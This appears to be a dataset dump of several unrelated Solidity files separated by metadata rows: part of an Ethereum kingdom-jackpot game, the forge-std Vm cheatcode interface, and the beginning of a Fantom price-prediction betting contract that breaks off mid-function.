if (now < rounds[currentRound].startTime + (i * 24 hours)) {
uint result = (25 * i);
if (result > 125) {
return 125;
} else {
return result;
}
}
}
}
function setTypedJackpotWinner(address _user, uint _type) internal {
if (_type == 1) {
if (rounds[currentRound].jackpot1.winner == address(0)) {
rounds[currentRound].jackpot1.winner = _user;
} else if (rounds[currentRound].nbKingdomsType1[_user] >= rounds[currentRound].nbKingdomsType1[rounds[currentRound].jackpot1.winner]) {
rounds[currentRound].jackpot1.winner = _user;
}
} else if (_type == 2) {
if (rounds[currentRound].jackpot2.winner == address(0)) {
rounds[currentRound].jackpot2.winner = _user;
} else if (rounds[currentRound].nbKingdomsType2[_user] >= rounds[currentRound].nbKingdomsType2[rounds[currentRound].jackpot2.winner]) {
rounds[currentRound].jackpot2.winner = _user;
}
} else if (_type == 3) {
if (rounds[currentRound].jackpot3.winner == address(0)) {
rounds[currentRound].jackpot3.winner = _user;
} else if (rounds[currentRound].nbKingdomsType3[_user] >= rounds[currentRound].nbKingdomsType3[rounds[currentRound].jackpot3.winner]) {
rounds[currentRound].jackpot3.winner = _user;
}
} else if (_type == 4) {
if (rounds[currentRound].jackpot4.winner == address(0)) {
rounds[currentRound].jackpot4.winner = _user;
} else if (rounds[currentRound].nbKingdomsType4[_user] >= rounds[currentRound].nbKingdomsType4[rounds[currentRound].jackpot4.winner]) {
rounds[currentRound].jackpot4.winner = _user;
}
} else if (_type == 5) {
if (rounds[currentRound].jackpot5.winner == address(0)) {
rounds[currentRound].jackpot5.winner = _user;
} else if (rounds[currentRound].nbKingdomsType5[_user] >= rounds[currentRound].nbKingdomsType5[rounds[currentRound].jackpot5.winner]) {
rounds[currentRound].jackpot5.winner = _user;
}
}
}
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
uint jackpotSplitted = jackpotCommission.mul(50).div(100);
round.globalJackpot.balance = round.globalJackpot.balance.add(jackpotSplitted);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
} else {
kingdom.returnPrice = kingdom.minimumPrice.mul(2);
kingdom.minimumPrice = kingdom.minimumPrice.add(kingdom.minimumPrice.mul(2));
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
setNewJackpot(kingdom.kingdomType, jackpotSplitted, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
setNewWinner(msg.sender, kingdomType);
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
function giveKingdom(address owner, string _key, string _title, uint _type) onlyOwner() public {
require(_type > 0);
require(_type < 6);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, 0.02 ether, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = 0.03 ether;
kingdoms[kingdomId].locked = false;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, 0.01 ether, 0, 0)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
}
function createKingdom(address owner, string _key, string _title, uint _type, bool _locked) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint refundPrice = STARTING_CLAIM_PRICE_WEI.mul(2);
uint nextMinimumPrice = STARTING_CLAIM_PRICE_WEI.add(refundPrice);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
asyncSend(bookerAddress, ACTION_TAX);
uint jackpotSplitted = basePrice.mul(50).div(100);
rounds[currentRound].globalJackpot.balance = rounds[currentRound].globalJackpot.balance.add(jackpotSplitted);
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
setNewJackpot(_type, jackpotSplitted, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot(uint _type) public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
if (_type == 1 && finishedRound.jackpot1.winner != address(0) && finishedRound.jackpot1.balance > 0) {
require(this.balance >= finishedRound.jackpot1.balance);
uint jackpot1TeamComission = (finishedRound.jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot1TeamComission);
asyncSend(finishedRound.jackpot1.winner, finishedRound.jackpot1.balance.sub(jackpot1TeamComission));
finishedRound.jackpot1.balance = 0;
} else if (_type == 2 && finishedRound.jackpot2.winner != address(0) && finishedRound.jackpot2.balance > 0) {
require(this.balance >= finishedRound.jackpot2.balance);
uint jackpot2TeamComission = (finishedRound.jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot2TeamComission);
asyncSend(finishedRound.jackpot2.winner, finishedRound.jackpot2.balance.sub(jackpot2TeamComission));
finishedRound.jackpot2.balance = 0;
} else if (_type == 3 && finishedRound.jackpot3.winner != address(0) && finishedRound.jackpot3.balance > 0) {
require(this.balance >= finishedRound.jackpot3.balance);
uint jackpot3TeamComission = (finishedRound.jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot3TeamComission);
asyncSend(finishedRound.jackpot3.winner, finishedRound.jackpot3.balance.sub(jackpot3TeamComission));
finishedRound.jackpot3.balance = 0;
} else if (_type == 4 && finishedRound.jackpot4.winner != address(0) && finishedRound.jackpot4.balance > 0) {
require(this.balance >= finishedRound.jackpot4.balance);
uint jackpot4TeamComission = (finishedRound.jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot4TeamComission);
asyncSend(finishedRound.jackpot4.winner, finishedRound.jackpot4.balance.sub(jackpot4TeamComission));
finishedRound.jackpot4.balance = 0;
} else if (_type == 5 && finishedRound.jackpot5.winner != address(0) && finishedRound.jackpot5.balance > 0) {
require(this.balance >= finishedRound.jackpot5.balance);
uint jackpot5TeamComission = (finishedRound.jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot5TeamComission);
asyncSend(finishedRound.jackpot5.winner, finishedRound.jackpot5.balance.sub(jackpot5TeamComission));
finishedRound.jackpot5.balance = 0;
}
if (finishedRound.globalJackpot.winner != address(0) && finishedRound.globalJackpot.balance > 0) {
require(this.balance >= finishedRound.globalJackpot.balance);
uint globalTeamComission = (finishedRound.globalJackpot.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, globalTeamComission);
asyncSend(finishedRound.globalJackpot.winner, finishedRound.globalJackpot.balance.sub(globalTeamComission));
finishedRound.globalJackpot.balance = 0;
}
}
function activateNextRound(uint _startTime) public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
require(finishedRound.globalJackpot.balance == 0);
require(finishedRound.jackpot5.balance == 0);
require(finishedRound.jackpot4.balance == 0);
require(finishedRound.jackpot3.balance == 0);
require(finishedRound.jackpot2.balance == 0);
require(finishedRound.jackpot1.balance == 0);
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
function setNewWinner(address _sender, uint _type) internal {
if (rounds[currentRound].globalJackpot.winner == address(0)) {
rounds[currentRound].globalJackpot.winner = _sender;
} else {
if (rounds[currentRound].nbKingdoms[_sender] == rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
if (rounds[currentRound].nbTransactions[_sender] > rounds[currentRound].nbTransactions[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
} else if (rounds[currentRound].nbKingdoms[_sender] > rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
}
setTypedJackpotWinner(_sender, _type);
}
function getJackpot(uint _nb) public view returns (address winner, uint balance, uint winnerCap) {
Round storage round = rounds[currentRound];
if (_nb == 1) {
return (round.jackpot1.winner, round.jackpot1.balance, round.nbKingdomsType1[round.jackpot1.winner]);
} else if (_nb == 2) {
return (round.jackpot2.winner, round.jackpot2.balance, round.nbKingdomsType2[round.jackpot2.winner]);
} else if (_nb == 3) {
return (round.jackpot3.winner, round.jackpot3.balance, round.nbKingdomsType3[round.jackpot3.winner]);
} else if (_nb == 4) {
return (round.jackpot4.winner, round.jackpot4.balance, round.nbKingdomsType4[round.jackpot4.winner]);
} else if (_nb == 5) {
return (round.jackpot5.winner, round.jackpot5.balance, round.nbKingdomsType5[round.jackpot5.winner]);
} else {
return (round.globalJackpot.winner, round.globalJackpot.balance, round.nbKingdoms[round.globalJackpot.winner]);
}
}
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getKingdomInformations(string kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.locked);
}
}
| 161,600 | 10,557 |
2cab408fe5044e03083ebf882140f19ce86a19e4d245a9cb62b9f9aa1b3df344
| 21,452 |
.sol
|
Solidity
| false |
449482071
|
volt-protocol/volt-protocol-core
|
96cc40b6445ad417b603a832abafdf46bce39708
|
forge-std/src/Vm.sol
| 3,869 | 16,461 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.9.0;
pragma experimental ABIEncoderV2;
// Cheatcodes are marked as view/pure/none using the following rules:
// 0. A call's observable behaviour includes its return value, logs, reverts and state writes.
// 2. Otherwise if you can be influenced by an earlier call, or if reading some state, you're `view`,
// 3. Otherwise you're `pure`.
interface VmSafe {
struct Log {
bytes32[] topics;
bytes data;
address emitter;
}
// Loads a storage slot from an address (who, slot)
function load(address, bytes32) external view returns (bytes32);
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256,
bytes32) external pure returns (uint8, bytes32, bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external pure returns (address);
// Gets the nonce of an account
function getNonce(address) external view returns (uint64);
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external view returns (bool);
function envUint(string calldata) external view returns (uint256);
function envInt(string calldata) external view returns (int256);
function envAddress(string calldata) external view returns (address);
function envBytes32(string calldata) external view returns (bytes32);
function envString(string calldata) external view returns (string memory);
function envBytes(string calldata) external view returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata,
string calldata) external view returns (bool[] memory);
function envUint(string calldata,
string calldata) external view returns (uint256[] memory);
function envInt(string calldata,
string calldata) external view returns (int256[] memory);
function envAddress(string calldata,
string calldata) external view returns (address[] memory);
function envBytes32(string calldata,
string calldata) external view returns (bytes32[] memory);
function envString(string calldata,
string calldata) external view returns (string[] memory);
function envBytes(string calldata,
string calldata) external view returns (bytes[] memory);
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
// Gets the _creation_ bytecode from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external view returns (bytes memory);
// Gets the _deployed_ bytecode from an artifact file. Takes in the relative path to the json file
function getDeployedCode(string calldata) external view returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
function broadcast() external;
function broadcast(address) external;
function broadcast(uint256) external;
function startBroadcast() external;
function startBroadcast(address) external;
function startBroadcast(uint256) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external view returns (string memory);
// Reads the entire content of file as binary. Path is relative to the project root. (path) => (data)
function readFileBinary(string calldata) external view returns (bytes memory);
// Get the path of the current project root
function projectRoot() external view returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external view returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Path is relative to the project root. (path, data) => ()
function writeFileBinary(string calldata, bytes calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external pure returns (string memory);
function toString(bytes calldata) external pure returns (string memory);
function toString(bytes32) external pure returns (string memory);
function toString(bool) external pure returns (string memory);
function toString(uint256) external pure returns (string memory);
function toString(int256) external pure returns (string memory);
// Convert values from a string, (string) => (parsed value)
function parseBytes(string calldata) external pure returns (bytes memory);
function parseAddress(string calldata) external pure returns (address);
function parseUint(string calldata) external pure returns (uint256);
function parseInt(string calldata) external pure returns (int256);
function parseBytes32(string calldata) external pure returns (bytes32);
function parseBool(string calldata) external pure returns (bool);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
function deriveKey(string calldata, uint32) external pure returns (uint256);
function deriveKey(string calldata,
string calldata,
uint32) external pure returns (uint256);
// Adds a private key to the local forge wallet and returns the address
function rememberKey(uint256) external returns (address);
//
// parseJson
//
// ----
// In case the returned value is a JSON object, it's encoded as a ABI-encoded tuple. As JSON objects
// as tuples, with the attributes in the order in which they are defined.
// For example: json = { 'a': 1, 'b': 0xa4tb......3xs}
// a: uint256
// b: address
// To decode that json, we need to define a struct or a tuple as follows:
// struct json = { uint256 a; address b; }
// decode the tuple in that order, and thus fail.
// ----
// Given a string of JSON, return it as ABI-encoded, (stringified json, key) => (ABI-encoded data)
function parseJson(string calldata,
string calldata) external pure returns (bytes memory);
function parseJson(string calldata) external pure returns (bytes memory);
//
// writeJson
//
// ----
// Let's assume we want to write the following JSON to a file:
//
// { "boolean": true, "number": 342, "object": { "title": "finally json serialization" } }
//
// ```
// string memory json1 = "some key";
// vm.serializeBool(json1, "boolean", true);
// vm.serializeBool(json1, "number", uint256(342));
// json2 = "some other key";
// string memory output = vm.serializeString(json2, "title", "finally json serialization");
// string memory finalJson = vm.serialize(json1, "object", output);
// vm.writeJson(finalJson, "./output/example.json");
// ```
// to serialize them as values to another JSON object.
//
// will find the object in-memory that is keyed by "some key". // writeJson
// ----
// Serialize a key and value to a JSON object stored in-memory that can be latery written to a file
// It returns the stringified version of the specific JSON file up to that moment.
// (object_key, value_key, value) => (stringified JSON)
function serializeBool(string calldata,
string calldata,
bool) external returns (string memory);
function serializeUint(string calldata,
string calldata,
uint256) external returns (string memory);
function serializeInt(string calldata,
string calldata,
int256) external returns (string memory);
function serializeAddress(string calldata,
string calldata,
address) external returns (string memory);
function serializeBytes32(string calldata,
string calldata,
bytes32) external returns (string memory);
function serializeString(string calldata,
string calldata,
string calldata) external returns (string memory);
function serializeBytes(string calldata,
string calldata,
bytes calldata) external returns (string memory);
function serializeBool(string calldata,
string calldata,
bool[] calldata) external returns (string memory);
function serializeUint(string calldata,
string calldata,
uint256[] calldata) external returns (string memory);
function serializeInt(string calldata,
string calldata,
int256[] calldata) external returns (string memory);
function serializeAddress(string calldata,
string calldata,
address[] calldata) external returns (string memory);
function serializeBytes32(string calldata,
string calldata,
bytes32[] calldata) external returns (string memory);
function serializeString(string calldata,
string calldata,
string[] calldata) external returns (string memory);
function serializeBytes(string calldata,
string calldata,
bytes[] calldata) external returns (string memory);
// Write a serialized JSON object to a file. If the file exists, it will be overwritten.
// (stringified_json, path)
function writeJson(string calldata, string calldata) external;
// (stringified_json, path, value_key)
function writeJson(string calldata,
string calldata,
string calldata) external;
// Returns the RPC url for the given alias
function rpcUrl(string calldata) external view returns (string memory);
// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external view returns (string[2][] memory);
// If the condition is false, discard this run's fuzz inputs and generate new ones.
function assume(bool) external pure;
}
interface Vm is VmSafe {
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.difficulty (newDifficulty)
function difficulty(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Stores a value to an address' storage slot, (who, slot, value)
function store(address, bytes32, bytes32) external;
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
function expectEmit(bool, bool, bool, bool) external;
function expectEmit(bool, bool, bool, bool, address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address, bytes calldata, bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address,
uint256,
bytes calldata,
bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address, bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address, uint256, bytes calldata) external;
// Sets block.coinbase (who)
function coinbase(address) external;
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns (uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns (bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata, uint256) external returns (uint256);
function createFork(string calldata) external returns (uint256);
function createFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata,
uint256) external returns (uint256);
function createSelectFork(string calldata,
bytes32) external returns (uint256);
function createSelectFork(string calldata) external returns (uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external view returns (uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the currently active fork to given transaction
function rollFork(bytes32) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
function rollFork(uint256 forkId, bytes32 transaction) external;
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external view returns (bool);
// In forking mode, explicitly grant the given address cheatcode access
function allowCheatcodes(address) external;
// Fetches the given transaction from the active fork and executes it on the current state
function transact(bytes32 txHash) external;
// Fetches the given transaction from the given fork and executes it on the current state
function transact(uint256 forkId, bytes32 txHash) external;
}
| 17,451 | 10,558 |
e9b5173ae787194ae39741b928e013d0f44082aa2164f0203b0dab2166f1e0fc
| 26,910 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a6/a6002c8d1b3533080a9676998b07b36d13241d0b_ScarabPredictions.sol
| 3,868 | 14,509 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
/// @title Predicitions - Scarab Finance
/// @author Tuntacamon 2022
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
contract ScarabPredictions {
using SafeMath for *;
enum Option {
Bullish,
Neutral,
Bearish
}
enum MarketStatus {
Live,
Closed
}
struct Market {
MarketStatus state;
uint startTime;
uint expireTime;
uint neutralMinValue;
uint neutralMaxValue;
uint settleTime;
Option winningOption;
mapping(address => User) users;
mapping(Option => uint) totalBets;
uint totalPool;
}
struct User {
bool claimedWinnings;
mapping(Option => uint) amountStaked;
}
address payable public owner;
address public operator;
address public oracle;
AggregatorV3Interface internal priceFeed;
bool public marketCreationPaused;
uint public commissionPercentage = 10;
uint public optionRangePercentage = 30;
uint public commissionAmount;
uint public marketCount;
uint public marketDuration;
mapping(uint => Market) public markets;
event LogNewMarketCreated(uint indexed marketId, uint price);
event LogBetPlaced(uint indexed marketId, address indexed user, Option option, uint value);
event LogWinningsClaimed(uint indexed marketId, address indexed user, uint winnings);
event LogResultPosted(uint indexed marketId, address indexed oracle, Option option);
modifier onlyOwner() {
require(msg.sender == owner, "=== Only the owner address can call this function ===");
_;
}
modifier onlyOperator() {
require(msg.sender == operator, "=== Only the operator address can call this function ===");
_;
}
constructor(address _oracle, uint _duration, address _operator) {
oracle = _oracle;
priceFeed = AggregatorV3Interface(oracle);
owner = msg.sender;
marketDuration = _duration;
marketCount = 0;
uint _price = getLatestPrice(); //returns latest FTM/USD in the following format: 40345000000 (8 decimals)
operator = _operator;
Market storage newMarket = markets[marketCount];
newMarket.state = MarketStatus.Live;
newMarket.startTime = block.timestamp;
newMarket.expireTime = newMarket.startTime.add(marketDuration);
newMarket.settleTime = newMarket.expireTime.sub(60);
newMarket.neutralMinValue = _price.sub(_calculatePercentage(optionRangePercentage, _price, 10000));
newMarket.neutralMaxValue = _price.add(_calculatePercentage(optionRangePercentage, _price, 10000));
emit LogNewMarketCreated(marketCount, _price);
}
function placeBet(Option _option) external payable {
require(getMarketStatus(marketCount) == MarketStatus.Live, "The Predection Market is not Live");
Market storage m = markets[marketCount];
require(block.timestamp < m.settleTime, "The Predection Market is not Live - InSettlement");
require(msg.value > 0,"=== Your bet should be greater than 0 ===");
uint _predictionStake = msg.value;
uint _commissionStake = _calculatePercentage(commissionPercentage, _predictionStake, 1000);
commissionAmount = commissionAmount.add(_commissionStake);
_predictionStake = _predictionStake.sub(_commissionStake);
m.totalBets[_option] = m.totalBets[_option].add(_predictionStake);
m.users[msg.sender].amountStaked[_option] = m.users[msg.sender].amountStaked[_option].add(_predictionStake);
m.totalPool = m.totalPool.add(_predictionStake);
emit LogBetPlaced(marketCount, msg.sender, _option, _predictionStake);
}
function closeMarket() external onlyOperator {
require(getMarketStatus(marketCount) == MarketStatus.Live, "The Predection Market is not Live");
Market storage m = markets[marketCount];
(uint _price,) = getClosedPrice(m.expireTime);
if(_price < m.neutralMinValue) {
m.winningOption = Option.Bearish;
} else if(_price > m.neutralMaxValue) {
m.winningOption = Option.Bullish;
} else {
m.winningOption = Option.Neutral;
}
emit LogResultPosted(marketCount, msg.sender, m.winningOption);
m.state = MarketStatus.Closed;
}
function restartMarket() external onlyOperator {
require(getMarketStatus(marketCount) == MarketStatus.Live, "The Predection Market is not Live");
Market storage m = markets[marketCount];
(uint _price,) = getClosedPrice(m.expireTime);
if(_price < m.neutralMinValue) {
m.winningOption = Option.Bearish;
} else if(_price > m.neutralMaxValue) {
m.winningOption = Option.Bullish;
} else {
m.winningOption = Option.Neutral;
}
emit LogResultPosted(marketCount, msg.sender, m.winningOption);
m.state = MarketStatus.Closed;
marketCount = marketCount.add(1);
uint _pricenew = getLatestPrice(); //returns latest FTM/USD in the following format: 40345000000 (8 decimals)
Market storage newMarket = markets[marketCount];
newMarket.state = MarketStatus.Live;
newMarket.startTime = block.timestamp;
newMarket.expireTime = newMarket.startTime.add(marketDuration);
newMarket.settleTime = newMarket.expireTime.sub(60);
